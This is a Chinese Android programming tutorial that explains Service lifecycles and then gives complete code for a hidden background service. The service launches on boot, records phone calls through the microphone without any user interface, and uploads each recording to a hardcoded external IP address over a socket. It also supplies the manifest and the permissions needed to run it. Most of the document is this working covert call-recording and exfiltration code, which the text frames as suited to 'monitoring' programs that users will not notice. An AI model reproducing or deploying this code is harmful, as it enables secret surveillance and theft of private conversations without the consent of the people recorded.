Android中的服务和windows中的服务是类似的东西,服务一般没有用户操作界面,它运行于系统中不容易被用户发觉,可以使用它开发如监控之类的程序。服务的开发比较简单,如下:


第一步:继承Service类 
 
 
 

   public class SMSService extends Service { } 
 
 
 

   第二步:在AndroidManifest.xml文件中的<application>节点里对服务进行配置: 
 
 
 

   <service android:name=".SMSService" />

服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service,但是它们的使用场合有所不同。使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止,大有“不求同时生,必须同时死”的特点。 采用 Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。


代码如下:

package cn.itcast.phone;
import java.io.File;
 import java.io.OutputStream;
 import java.io.PushbackInputStream;
 import java.io.RandomAccessFile;
 import java.net.Socket;import cn.itcast.utils.StreamTool;
import android.app.Service;
 import android.content.Context;
 import android.content.Intent;
 import android.media.MediaRecorder;
 import android.os.IBinder;
 import android.telephony.PhoneStateListener;
 import android.telephony.TelephonyManager;
 import android.util.Log;public class PhoneListenService extends Service {
  private static final String TAG = "PhoneListenService"; @Override
  public void onCreate() {
   TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
   telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
   Log.i(TAG, "service created");
   super.onCreate();
  }
  
  @Override
  public void onDestroy() {//清空缓存目录下的所有文件
   File[] files = getCacheDir().listFiles();
   if(files!=null){
    for(File f: files){
     f.delete();
    }
   }
   Log.i(TAG, "service destroy");
   super.onDestroy();
  } private class TelListener extends PhoneStateListener{
   private MediaRecorder recorder;//录音
   private String mobile;
   private File audioFile;
   private boolean record;
   @Override
   public void onCallStateChanged(int state, String incomingNumber) {
    try {
     switch (state){
     case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */
      if(record){
       recorder.stop();//停止刻录
       recorder.release();
       record = false;
       new Thread(new UploadTask()).start();//为了避免Service被上传线程占用,新开一个线程用来处理上传操作!!!!
       Log.i(TAG, "start upload file");
      }
      break;
      
     case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */
       Log.i(TAG, "OFFHOOK:"+ mobile);
       recorder = new MediaRecorder();
       recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
       recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
       recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
       
       audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");
       recorder.setOutputFile(audioFile.getAbsolutePath());
       recorder.prepare();//预期准备
       recorder.start();   //开始刻录
       record = true;
       break; 
      
     case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */
      Log.i(TAG, "incomingNumber:"+ incomingNumber);
      mobile = incomingNumber;
      break;
      
     default:
      break;
     }
    } catch (Exception e) {
     Log.e(TAG, e.toString());
    }
    super.onCallStateChanged(state, incomingNumber);
   }
   
   private final class UploadTask implements Runnable{
    @Override
    public void run() {
     try {
      Socket socket = new Socket("220.113.15.71", 7878);
               OutputStream outStream = socket.getOutputStream();
               String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";
               outStream.write(head.getBytes());
               
               PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); 
      String response = StreamTool.readLine(inStream);
               String[] items = response.split(";");
      String position = items[1].substring(items[1].indexOf("=")+1);
      
      RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
      fileOutStream.seek(Integer.valueOf(position));
      byte[] buffer = new byte[1024];
      int len = -1;
      while( (len = fileOutStream.read(buffer)) != -1){
       outStream.write(buffer, 0, len);
      }
      fileOutStream.close();
      outStream.close();
               inStream.close();
               socket.close();
               audioFile.delete();
           } catch (Exception e) {                    
            Log.e(TAG, e.toString());
           }
    }
   }
  }
  
  @Override
  public IBinder onBind(Intent intent) {
   // TODO Auto-generated method stub
   return null;
  }}


此外,服务不能自己运行,需要通过调用Context.startService()或Context.bindService()方法启动服务。那电话来了怎么开始监听电话的服务呢?那就需要建立一个广播接受者,当开始运行的时候就启动服务,这样子就可以对手机电话进行监听了!



代码:


package cn.itcast.phone;
import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;public class BootBroadcastReceiver extends BroadcastReceiver {
 @Override
  public void onReceive(Context context, Intent intent) {
   Intent service = new Intent(context, PhoneListenService.class);
   context.startService(service);
  }}


配置文件:


<?xml version="1.0" encoding="utf-8"?>
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="cn.itcast.phone"
       android:versionCode="1"
       android:versionName="1.0">
     <application android:icon="@drawable/icon" android:label="@string/app_name">
   <service android:name=".PhoneListenService" />
   <receiver android:name=".BootBroadcastReceiver">
    <intent-filter>
           <action android:name="android.intent.action.BOOT_COMPLETED"/>
         </intent-filter>
   </receiver>
     </application>
     <uses-sdk android:minSdkVersion="7" />
  <uses-permission android:name="android.permission.RECORD_AUDIO"/>
 <!-- 访问网络的权限 -->
 <uses-permission android:name="android.permission.INTERNET"/>
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/></manifest>